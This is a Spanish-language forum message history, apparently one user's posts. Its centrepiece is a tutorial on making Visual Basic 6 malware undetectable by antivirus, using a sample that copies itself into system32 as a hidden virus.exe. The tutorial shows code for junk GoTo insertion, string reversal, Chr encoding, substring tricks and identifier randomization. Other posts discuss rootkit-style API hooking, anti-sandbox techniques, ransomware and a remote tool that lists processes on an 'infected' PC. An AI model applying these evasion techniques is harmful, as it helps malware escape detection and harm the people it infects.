Mensajes

hola quiero saber la mayoria de las tecnicas anti ingenieria inversa, anti sandbox, Virtual box, etc

Gracias de antemano.

podrias redirigir apis de windows (una especie de rootkit) y cuando traten de hacer read o write en tu proceso denegas el acceso.

y como vas a cerrar el form si esta oculto?
especifica...

Hola, pues estoy haciendo un visual basic code undetector, ya tiene varias funciones pero quiero que agrege junk...

Código [Seleccionar] Expandir


GoTo auaisnda ' asi
auaisnda:


...entre cada linea, y consegui algo similar a eso, pero en todos coloca la misma cadena de caracteres, con un for genero una cadena aleatoria y estoy usando Replace() para agregar entrelineas. Pero nesesito que genere una cadena DISTINTA.

en vb6 no puedes controlar la opacidad (con un modulo tal vez, pero no creo) asi que tendrias que hacerlo con Picture1.Visible = True/Picture1.Visible = False y deberias tener muchas "mesclas" o "combinaciones" entre cada imagen y con un If comprobar la posicion de cada scroll, pero seria tedioso... 

Saludos 

Lee esto:
http://www.vbtutor.net/vb2008/vb2008_lesson8.html

Yo creo que deberia ser con un Left()

Saludos 

Ponle en el form load:

Código [Seleccionar] Expandir


Me.Visible = False


Saludos 

[NOTA: No he probado todos los codes, asi que algún error me lo hacen saber]

Empezare mostrando un pequeño code con el que explicare las tecnicas para dejarlo FUD (El code no es detectado pero enseñare el procedimiendo para dejar fud un code que sea detectado)
NOTA: No he probado todos los codes, asi que algún error me lo hacen saber

Código [Seleccionar] Expandir

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
Close 1#

Lo primero que podemos hacer (y los mas sencillo) para quitarnos algunas firmas es agregar junk, y basicamente estamos agregando code inutil

Código [Seleccionar] Expandir

Dim ruta As String
GoTo HJNCEUHH' entre cada linea agregamos un goto "caracteres aletorios"
HJNCEUHH:       ' y justo debajo los mismos caracteres aleatorios
ruta = Environ("windir") & "\system32\virus.exe"
GoTo RV87N7Ysss
RV87N7Ysss:
FileCopy App.Path & "\" & App.EXEName & ".exe", ruta
GoTo dichuwuiodcioaiofcu
dichuwuiodcioaiofcu
SetAttr ruta, vbHidden


Otra forma es invirtiendo strings

Código [Seleccionar] Expandir


Dim ruta As String
ruta = Environ("windir") & StrReverse("exe.suriv\23metsys\")' con StrReverse invertiremos strings
FileCopy App.Path & "\" & App.EXEName & StrReverse("exe."), ruta
SetAttr ruta, vbHidden


O colocando partes de string (no se si me explico) puede ser con left(), right(), o Mid()

Código [Seleccionar] Expandir


Dim ruta As String
[b]Dim extensión As String
extensión = ".exebasura"
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Left(extensión, 4), ruta 'aqui agarramos los 4 primeros caracteres de "extensión" que son .exe
SetAttr ruta, vbHidden


Otro metodo es colocando los caracteren en ascii

Código [Seleccionar] Expandir

Dim ruta As String
ruta = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & Chr(46) & Chr(101) & Chr(120) & Chr(101), ruta ' .exe en ascii
SetAttr ruta, vbHidden
Open ruta For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Cambiar los nombres de los modulos y de los forms




Un metodo muy simple de la modificacion de strings, en este caso reemplaze la string ruta por wixadiaixdiawuhxdiahu

Código [Seleccionar] Expandir

Dim wixadiaixdiawuhxdiahu As String
wixadiaixdiawuhxdiahu = Environ("windir") & "\system32\virus.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", wixadiaixdiawuhxdiahu
SetAttr wixadiaixdiawuhxdiahu, vbHidden
Open wixadiaixdiawuhxdiahu For Binary As 1#
Print 1#, "VIRUSXD"
Close 1#

Lo mismo podemos hacer con las funciones y los subs

CODE original:

Código [Seleccionar] Expandir

Function random(ByVal Caracteres As Long)
Dim randoms As String
For i = 1 To Caracteres
randoms = randoms & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

CODE con functions random:

Código [Seleccionar] Expandir

Function sjudjsjjscsshudjfsj(ByVal chiuashcuhu As Long)
Dim hshdsdshdahuudau As String
For i = 1 To chiuashcuhu
hshdsdshdahuudau = hshdsdshdahuudau & Mid("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZ1234567890", Int((62 * Rnd) + 1), 1)
Next i

y por ultimo compilarlo en carpetas que no tengan nombres como virus, malware, stub y cosas asi, por que al compilarlo te guarda en el exe la ruta donde fue compilado. (Ojala en C:\)

Bueno, espero que a alguien le sirva.

Saludos

Con un live cd de kapersky o antivirus similar se elimina facil
pero es nesesario que sea el virus de la policia??? 

esque ya tengo la forma para listar los procesos en el pc "infectado" pero al enviarlos al client no se como ordenarlos, es un listbox o en que?